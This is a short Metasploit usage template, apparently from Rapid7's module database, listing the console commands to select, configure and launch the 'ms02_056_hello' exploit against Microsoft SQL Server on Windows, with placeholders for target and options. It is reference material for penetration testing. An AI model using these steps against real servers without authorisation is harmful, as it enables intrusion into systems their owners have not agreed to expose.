https://www.rapid7.com/db/modules/exploit/windows/mssql/ms02_056_hello
msf > use exploit/windows/mssql/ms02_056_hello
msf exploit(ms02_056_hello) > show targets
...targets...
msf exploit(ms02_056_hello) > set TARGET <target-id>
msf exploit(ms02_056_hello) > show options
...show and set options...
msf exploit(ms02_056_hello) > exploit